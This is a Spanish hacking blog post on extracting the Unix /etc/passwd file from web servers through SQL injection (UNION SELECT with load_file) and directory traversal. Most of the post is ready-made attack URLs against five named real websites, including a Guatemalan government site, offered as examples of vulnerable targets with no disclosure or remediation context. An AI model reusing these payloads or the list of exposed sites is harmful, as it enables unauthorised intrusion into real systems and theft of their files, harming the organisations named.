Escupiendo el Passwd de Unix

Este artículo me recuerda al pasado sobre los XSS invadiéndonos por todas aquellas páginas de Keygens y Cracks, aunque no sé cual de las dos entradas será más peligrosa, y es que ese fichero es ansiado por todo bicho malo que se mueve por la red en busca de plataformas Unix vulnerables, sigue estando a la orden del día.

El fallo se suele dar cuando los permisos de usuario del sistema están mal dados o simplemente sin configurar, si esto se cumple, nos permitirá acceder a cualquier tipo de directorio aunque se encuentre fuera de lo estipulado como público.

Si nos encontramos con una variable donde poder probar suerte con SQLi, buscaremos las tablas que impriman resultados en pantalla, combinado junto con la orden “load_file”, nos aseguraremos los ficheros del servidor para visualizar sus contenidos.

Como es típico, podremos echarle un vistazo aplicando OS Fingerpriting para encontrar la versión del sistema vulnerado y de las posibles rutas de serie donde listar los archivos de contraseñas o configuración de las aplicaciones instaladas en el mismo.

A continuación os mostraré cuatro páginas con la misma vulnerabilidad desde inyecciones SQL.

http://www.inacif.gob.gt/index.php?showPage=125&nwid=-1%27+union+select+1,2,3,4,5,6,load_file%28%27/etc/passwd%27%29,8,9,10/*

 

http://www.trends-in-newsrooms.org/articles.php?id=-1%20union%20all%20select%20load_file%28%27/etc/passwd%27%29,2,3,4,5,6,7--

http://www.prudentialnwct.com/cms/index.php?id=-1+union+select+1,2,3,LOAD_FILE%28%27/etc/passwd%27%29,5,6,7,8,9,10,11,12--

http://www.theory-nnl.it/allpubblications/paginapub.php?codice=-1+union+select+1,2,3,4,5,6,load_file%28%27/etc/passwd%27%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

En algunos casos, el problema termina siendo el mismo que el anterior, aunque la escala de directorios se podrá realizar directamente sin inyecciones de por medio sobre la variable, este método se lo denomina Directory Traversal, como muestra el caso siguiente.

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd

Saludos 4n4les! ;)